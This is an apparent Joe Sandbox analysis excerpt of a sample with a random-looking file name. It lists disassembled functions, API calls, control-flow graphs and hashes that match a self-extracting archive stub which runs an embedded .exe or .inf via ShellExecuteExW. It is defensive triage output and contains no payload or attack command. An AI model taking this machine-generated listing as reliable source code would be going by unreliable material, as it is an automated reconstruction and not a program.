                    • Part of subcall function 00EF137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00EEB652,00000000,?,?,?,00010416), ref: 00EF1396
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ByteCharFileH_prologModuleMultiNameWide__fprintf_l_wcschr
                  • String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
                  • API String ID: 4184910265-980926923
                  • Opcode ID: 32cf282f745d970d6b0edb1b9fe71474eef3586d5b3fd52eed3881c0f87fb71a
                  • Instruction ID: b1255f0fe67b7c6af8de3b85cbcd257b190021d9543a0c1c07adea85a897bad2
                  • Opcode Fuzzy Hash: 32cf282f745d970d6b0edb1b9fe71474eef3586d5b3fd52eed3881c0f87fb71a
                  • Instruction Fuzzy Hash: 2912E2B190429D9ADF24EFA5CC81BEEB7B9FF04704F10516AF505B7292EB719A44CB20
                  Function 00EFCB5A Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97windowCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  APIs
                    • Part of subcall function 00EFAC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00EFAC85
                    • Part of subcall function 00EFAC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00EFAC96
                    • Part of subcall function 00EFAC74: IsDialogMessageW.USER32(00010416,?), ref: 00EFACAA
                    • Part of subcall function 00EFAC74: TranslateMessage.USER32(?), ref: 00EFACB8
                    • Part of subcall function 00EFAC74: DispatchMessageW.USER32(?), ref: 00EFACC2
                  • GetDlgItem.USER32(00000068,00F3ECB0), ref: 00EFCB6E
                  • ShowWindow.USER32(00000000,00000005,?,?,?,?,?,?,?,00EFA632,00000001,?,?,00EFAECB,00F14F88,00F3ECB0), ref: 00EFCB96
                  • SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00EFCBA1
                  • SendMessageW.USER32(00000000,000000C2,00000000,00F135B4), ref: 00EFCBAF
                  • SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00EFCBC5
                  • SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00EFCBDF
                  • SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00EFCC23
                  • SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00EFCC31
                  • SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00EFCC40
                  • SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00EFCC67
                  • SendMessageW.USER32(00000000,000000C2,00000000,00F1431C), ref: 00EFCC76
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Message$Send$DialogDispatchItemPeekShowTranslateWindow
                  • String ID: \
                  • API String ID: 3569833718-2967466578
                  • Opcode ID: e017000fb6750c1d3108cf6d7627c19a8b627e0479e5cba4958bc2dad895911e
                  • Instruction ID: 9a7ed8d2702bd0fc6eb2df5596aa1af776f1e2dbd7ed4bd48ce368303c6ba279
                  • Opcode Fuzzy Hash: e017000fb6750c1d3108cf6d7627c19a8b627e0479e5cba4958bc2dad895911e
                  • Instruction Fuzzy Hash: 6B313471149349AFD301DF24DC0AFAB7FECEF92704F000528FA5096191EBA44A05E776
                  Function 00EFCE22 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 179COMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 795 efce22-efce3a call efe360 798 efd08b-efd093 795->798 799 efce40-efce4c call f035b3 795->799 799->798 802 efce52-efce7a call eff350 799->802 805 efce7c 802->805 806 efce84-efce91 802->806 805->806 807 efce95-efce9e 806->807 808 efce93 806->808 809 efced6 807->809 810 efcea0-efcea2 807->810 808->807 811 efceda-efcedd 809->811 812 efceaa-efcead 810->812 813 efcedf-efcee2 811->813 814 efcee4-efcee6 811->814 815 efd03c-efd041 812->815 816 efceb3-efcebb 812->816 813->814 819 efcef9-efcf0e call eeb493 813->819 814->819 820 efcee8-efceef 814->820 817 efd036-efd03a 815->817 818 efd043 815->818 821 efd055-efd05d 816->821 822 efcec1-efcec7 816->822 817->815 823 efd048-efd04c 817->823 818->823 830 efcf27-efcf32 call eea180 819->830 831 efcf10-efcf1d call ef17ac 819->831 820->819 825 efcef1 820->825 826 efd05f-efd061 821->826 827 efd065-efd06d 821->827 822->821 824 efcecd-efced4 822->824 823->821 824->809 824->812 825->819 826->827 827->811 836 efcf4f-efcf5c ShellExecuteExW 830->836 837 efcf34-efcf4b call eeb239 830->837 831->830 838 efcf1f 831->838 840 efd08a 836->840 841 efcf62-efcf6f 836->841 837->836 838->830 840->798 843 efcf82-efcf84 841->843 844 efcf71-efcf78 841->844 846 efcf9b-efcfba call efd2e6 843->846 847 efcf86-efcf8f 843->847 844->843 845 efcf7a-efcf80 844->845 845->843 848 efcff1-efcffd CloseHandle 845->848 846->848 862 efcfbc-efcfc4 846->862 847->846 857 efcf91-efcf99 ShowWindow 847->857 849 efcfff-efd00c call ef17ac 848->849 850 efd00e-efd01c 848->850 849->850 863 efd072 849->863 855 efd01e-efd020 850->855 856 efd079-efd07b 850->856 855->856 861 efd022-efd028 855->861 856->840 860 efd07d-efd07f 856->860 857->846 860->840 864 efd081-efd084 ShowWindow 860->864 861->856 865 efd02a-efd034 861->865 862->848 866 efcfc6-efcfd7 GetExitCodeProcess 862->866 863->856 864->840 865->856 866->848 867 efcfd9-efcfe3 866->867 868 efcfea 867->868 869 efcfe5 867->869 868->848 869->868
                  APIs
                  • ShellExecuteExW.SHELL32(?), ref: 00EFCF54
                  • ShowWindow.USER32(?,00000000), ref: 00EFCF93
                  • GetExitCodeProcess.KERNEL32(?,?), ref: 00EFCFCF
                  • CloseHandle.KERNEL32(?), ref: 00EFCFF5
                  • ShowWindow.USER32(?,00000001), ref: 00EFD084
                    • Part of subcall function 00EF17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00EEBB05,00000000,.exe,?,?,00000800,?,?,00EF85DF,?), ref: 00EF17C2
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ShowWindow$CloseCodeCompareExecuteExitHandleProcessShellString
                  • String ID: $.exe$.inf
                  • API String ID: 3686203788-2452507128
                  • Opcode ID: 3e84f9c80d3fae546730ba70f479640fe7a7f53b59039ec559b8d94afc281749
                  • Instruction ID: 19a970bac33f5941b7d25ad1bfa9dfa9fe992c89798030c95eed157711224d4c
                  • Opcode Fuzzy Hash: 3e84f9c80d3fae546730ba70f479640fe7a7f53b59039ec559b8d94afc281749
                  • Instruction Fuzzy Hash: 3761057150838C9AD7319F24D9006BBBBE7EF85348F24681DF6C4B7290DBB18985DB52
                  Function 00F0A058 Relevance: 9.2, APIs: 6, Instructions: 216COMMONLIBRARYCODE
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 870 f0a058-f0a071 871 f0a073-f0a083 call f0e6ed 870->871 872 f0a087-f0a08c 870->872 871->872 879 f0a085 871->879 874 f0a099-f0a0bd MultiByteToWideChar 872->874 875 f0a08e-f0a096 872->875 877 f0a250-f0a263 call efec4a 874->877 878 f0a0c3-f0a0cf 874->878 875->874 880 f0a0d1-f0a0e2 878->880 881 f0a123 878->881 879->872 884 f0a101-f0a112 call f08518 880->884 885 f0a0e4-f0a0f3 call f11a30 880->885 883 f0a125-f0a127 881->883 887 f0a245 883->887 888 f0a12d-f0a140 MultiByteToWideChar 883->888 884->887 895 f0a118 884->895 885->887 898 f0a0f9-f0a0ff 885->898 892 f0a247-f0a24e call f0a2c0 887->892 888->887 891 f0a146-f0a158 call f0a72c 888->891 900 f0a15d-f0a161 891->900 892->877 899 f0a11e-f0a121 895->899 898->899 899->883 900->887 902 f0a167-f0a16e 900->902 903 f0a170-f0a175 902->903 904 f0a1a8-f0a1b4 902->904 903->892 907 f0a17b-f0a17d 903->907 905 f0a200 904->905 906 f0a1b6-f0a1c7 904->906 910 f0a202-f0a204 905->910 908 f0a1e2-f0a1f3 call f08518 906->908 909 f0a1c9-f0a1d8 call f11a30 906->909 907->887 911 f0a183-f0a19d call f0a72c 907->911 915 f0a23e-f0a244 call f0a2c0 908->915 924 f0a1f5 908->924 909->915 922 f0a1da-f0a1e0 909->922 914 f0a206-f0a21f call f0a72c 910->914 910->915 911->892 926 f0a1a3 911->926 914->915 928 f0a221-f0a228 914->928 915->887 927 f0a1fb-f0a1fe 922->927 924->927 926->887 927->910 929 f0a264-f0a26a 928->929 930 f0a22a-f0a22b 928->930 931 f0a22c-f0a23c WideCharToMultiByte 929->931 930->931 931->915 932 f0a26c-f0a273 call f0a2c0 931->932 932->892
                  APIs
                  • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00F04E35,00F04E35,?,?,?,00F0A2A9,00000001,00000001,3FE85006), ref: 00F0A0B2
                  • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00F0A2A9,00000001,00000001,3FE85006,?,?,?), ref: 00F0A138
                  • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,3FE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00F0A232
                  • __freea.LIBCMT ref: 00F0A23F
                    • Part of subcall function 00F08518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00F0C13D,00000000,?,00F067E2,?,00000008,?,00F089AD,?,?,?), ref: 00F0854A
                  • __freea.LIBCMT ref: 00F0A248
                  • __freea.LIBCMT ref: 00F0A26D
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ByteCharMultiWide__freea$AllocateHeap
                  • String ID:
                  • API String ID: 1414292761-0
                  • Opcode ID: f7462ec3242e72362886781b454307daa6b480537ced3707ee97550fd0ebd591
                  • Instruction ID: bfd2aebe67ddb212a2fd5286bd0fce60d768161d25ecad87cc1e75d11d8d7a6a
                  • Opcode Fuzzy Hash: f7462ec3242e72362886781b454307daa6b480537ced3707ee97550fd0ebd591
                  • Instruction Fuzzy Hash: BB51AF72A10316AFDB258E64CC41FBB77AAEB44760F154629FC04D6180EB39DC40B6A2
                  Function 00EE99B0 Relevance: 7.6, APIs: 5, Instructions: 117filetimeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 935 ee99b0-ee99d1 call efe360 938 ee99dc 935->938 939 ee99d3-ee99d6 935->939 941 ee99de-ee99fb 938->941 939->938 940 ee99d8-ee99da 939->940 940->941 942 ee99fd 941->942 943 ee9a03-ee9a0d 941->943 942->943 944 ee9a0f 943->944 945 ee9a12-ee9a31 call ee70bf 943->945 944->945 948 ee9a39-ee9a57 CreateFileW 945->948 949 ee9a33 945->949 950 ee9abb-ee9ac0 948->950 951 ee9a59-ee9a7b GetLastError call eeb66c 948->951 949->948 953 ee9ac2-ee9ac5 950->953 954 ee9ae1-ee9af5 950->954 959 ee9a7d-ee9a9f CreateFileW GetLastError 951->959 960 ee9aaa-ee9aaf 951->960 953->954 956 ee9ac7-ee9adb SetFileTime 953->956 957 ee9af7-ee9b0f call eefe56 954->957 958 ee9b13-ee9b1e 954->958 956->954 957->958 962 ee9aa5-ee9aa8 959->962 963 ee9aa1 959->963 960->950 964 ee9ab1 960->964 962->950 962->960 963->962 964->950
                  APIs
                  • CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,00EE78AD,?,00000005,?,00000011), ref: 00EE9A4C
                  • GetLastError.KERNEL32(?,?,00EE78AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00EE9A59
                  • CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,00EE78AD,?,00000005,?), ref: 00EE9A8E
                  • GetLastError.KERNEL32(?,?,00EE78AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00EE9A96
                  • SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00EE78AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00EE9ADB
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: File$CreateErrorLast$Time
                  • String ID:
                  • API String ID: 1999340476-0
                  • Opcode ID: 917ef479dc5c96c5f98c6263fea2aec1b079993060fbe1eb7bf7a31c479cfbb6
                  • Instruction ID: ed28793f5fcf1f9afb5c2e835f6d4d63f3128b775e7a1e040fef292bcaae060b
                  • Opcode Fuzzy Hash: 917ef479dc5c96c5f98c6263fea2aec1b079993060fbe1eb7bf7a31c479cfbb6
                  • Instruction Fuzzy Hash: A54148705447896FE320DB31CC05BDABBD4BF05328F100729F9E8A61D2E7B5A988CB95
                  Function 00EFAC74 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 994 efac74-efac8d PeekMessageW 995 efac8f-efaca3 GetMessageW 994->995 996 efacc8-efaccc 994->996 997 efaca5-efacb2 IsDialogMessageW 995->997 998 efacb4-efacc2 TranslateMessage DispatchMessageW 995->998 997->996 997->998 998->996
                  APIs
                  • PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00EFAC85
                  • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00EFAC96
                  • IsDialogMessageW.USER32(00010416,?), ref: 00EFACAA
                  • TranslateMessage.USER32(?), ref: 00EFACB8
                  • DispatchMessageW.USER32(?), ref: 00EFACC2
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: Message$DialogDispatchPeekTranslate
                  • String ID:
                  • API String ID: 1266772231-0
                  • Opcode ID: 73a3ae5b893d401b57d8b5006d273647894d65670639cdab3a23173d538287d6
                  • Instruction ID: d39887590a377d79e440c20f57a44df0c5520d69d2666cc6f2f5c2ec3a3ecfcb
                  • Opcode Fuzzy Hash: 73a3ae5b893d401b57d8b5006d273647894d65670639cdab3a23173d538287d6
                  • Instruction Fuzzy Hash: 9FF03075D0212DABCB609BE5DC4CDEFBFACEE162917844425F919D2100EB38E405D7B1
                  Function 00EFA2C7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 999 efa2c7-efa2e6 GetClassNameW 1000 efa30e-efa310 999->1000 1001 efa2e8-efa2fd call ef17ac 999->1001 1003 efa31b-efa31f 1000->1003 1004 efa312-efa315 SHAutoComplete 1000->1004 1006 efa2ff-efa30b FindWindowExW 1001->1006 1007 efa30d 1001->1007 1004->1003 1006->1007 1007->1000
                  APIs
                  • GetClassNameW.USER32(?,?,00000050), ref: 00EFA2DE
                  • SHAutoComplete.SHLWAPI(?,00000010), ref: 00EFA315
                    • Part of subcall function 00EF17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00EEBB05,00000000,.exe,?,?,00000800,?,?,00EF85DF,?), ref: 00EF17C2
                  • FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00EFA305
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: AutoClassCompareCompleteFindNameStringWindow
                  • String ID: EDIT
                  • API String ID: 4243998846-3080729518
                  • Opcode ID: 9cb7ef488286a32bd85bab5eb76f9390ec9d2792a1a2c5ca5ac6881425513298
                  • Instruction ID: eafe873ff4e201477da461fd0393a72b498fc5e01dad08e9c2f2111d5b7262d9
                  • Opcode Fuzzy Hash: 9cb7ef488286a32bd85bab5eb76f9390ec9d2792a1a2c5ca5ac6881425513298
                  • Instruction Fuzzy Hash: D0F08276A0222C77E73056689C05FEF77AC9F87B11F484076BE09B6180D760A941D6F6
                  Function 00EFA335 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35comCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  APIs
                    • Part of subcall function 00EF0085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00EF00A0
                    • Part of subcall function 00EF0085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00EEEB86,Crypt32.dll,00000000,00EEEC0A,?,?,00EEEBEC,?,?,?), ref: 00EF00C2
                  • OleInitialize.OLE32(00000000), ref: 00EFA34E
                  • GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00EFA385
                  • SHGetMalloc.SHELL32(00F28430), ref: 00EFA38F
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
                  • String ID: riched20.dll
                  • API String ID: 3498096277-3360196438
                  • Opcode ID: 1465f1388f6641d072b0644d5f28416ac8d9a6985bac1b30c112801cfcf666b1
                  • Instruction ID: 02e104f0886875444bc04a5a536581990b1e4ff24dd23f2bef34d6f883a9b8b0
                  • Opcode Fuzzy Hash: 1465f1388f6641d072b0644d5f28416ac8d9a6985bac1b30c112801cfcf666b1
                  • Instruction Fuzzy Hash: 8CF049B5D0020DABCB50AF99D8499EFFBFCEF95301F00416AF914E2211DBB456059BA1
                  Function 00EFD287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 1012 efd287-efd2b2 call efe360 SetEnvironmentVariableW call eefbd8 1016 efd2b7-efd2bb 1012->1016 1017 efd2df-efd2e3 1016->1017 1018 efd2bd-efd2c1 1016->1018 1019 efd2ca-efd2d1 call eefcf1 1018->1019 1022 efd2c3-efd2c9 1019->1022 1023 efd2d3-efd2d9 SetEnvironmentVariableW 1019->1023 1022->1019 1023->1017
                  APIs
                  • SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00EFD29D
                  • SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00EFD2D9
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: EnvironmentVariable
                  • String ID: sfxcmd$sfxpar
                  • API String ID: 1431749950-3493335439
                  • Opcode ID: 6112b64a666b68fc980c3a32a66ce38c772061b5fffe2cf9074ed3b42cf245fa
                  • Instruction ID: 976d9e1645b69470eed1e7685dd7341687542fec5107b2945e154b7e40d12536
                  • Opcode Fuzzy Hash: 6112b64a666b68fc980c3a32a66ce38c772061b5fffe2cf9074ed3b42cf245fa
                  • Instruction Fuzzy Hash: 44F0A77280522CA6DB202FD1DC09FFA7B99AF09B51B004211FD4476161D661CD40EAF1
                  Function 00EE984E Relevance: 6.1, APIs: 4, Instructions: 57fileCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 1024 ee984e-ee985a 1025 ee985c-ee9864 GetStdHandle 1024->1025 1026 ee9867-ee987e ReadFile 1024->1026 1025->1026 1027 ee98da 1026->1027 1028 ee9880-ee9889 call ee9989 1026->1028 1029 ee98dd-ee98e2 1027->1029 1032 ee988b-ee9893 1028->1032 1033 ee98a2-ee98a6 1028->1033 1032->1033 1034 ee9895 1032->1034 1035 ee98a8-ee98b1 GetLastError 1033->1035 1036 ee98b7-ee98bb 1033->1036 1037 ee9896-ee98a0 call ee984e 1034->1037 1035->1036 1038 ee98b3-ee98b5 1035->1038 1039 ee98bd-ee98c5 1036->1039 1040 ee98d5-ee98d8 1036->1040 1037->1029 1038->1029 1039->1040 1041 ee98c7-ee98d0 GetLastError 1039->1041 1040->1029 1041->1040 1043 ee98d2-ee98d3 1041->1043 1043->1037
                  APIs
                  • GetStdHandle.KERNEL32(000000F6), ref: 00EE985E
                  • ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00EE9876
                  • GetLastError.KERNEL32 ref: 00EE98A8
                  • GetLastError.KERNEL32 ref: 00EE98C7
                  Memory Dump Source
                  • Source File: 00000000.00000002.2080031300.0000000000EE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true
                  • Associated: 00000000.00000002.2080015220.0000000000EE0000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080056765.0000000000F13000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F1E000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F24000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080077955.0000000000F41000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.2080148361.0000000000F42000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_ee0000_GNUCXbYadp.jbxd
                  Similarity
                  • API ID: ErrorLast$FileHandleRead
                  • String ID:
                  • API String ID: 2244327787-0
                  • Opcode ID: a9f483bc117e8d895a1339572ec930ebc4c9df9821e55d7f0f5553707497b730
                  • Instruction ID: 926da707538695056965ccb14510dc29185ac1c394258fbff736a5f8004138ae
                  • Opcode Fuzzy Hash: a9f483bc117e8d895a1339572ec930ebc4c9df9821e55d7f0f5553707497b730
                  • Instruction Fuzzy Hash: 6511C63090034CEBDB289B53C8049B937ECFB06774F10D12AF46AA65A2D7759E409F55
                  Function 00F0A4F4 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                  Download Yara Rule
                  APIs
                  • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00EECFE0,00000000,00000000,?,00F0A49B,00EECFE0,00000000,00000000,00000000,?,00F0A698,00000006,FlsSetValue), ref: 00F0A526
                  • GetLastError.KERNEL32(?,00F0A49B,00EECFE0,00000000,00000000,00000000,?,00F0A698,00000006,FlsSetValue,00F17348,00F17350,00000000,00000364,?,00F09077), ref: 00F0A532
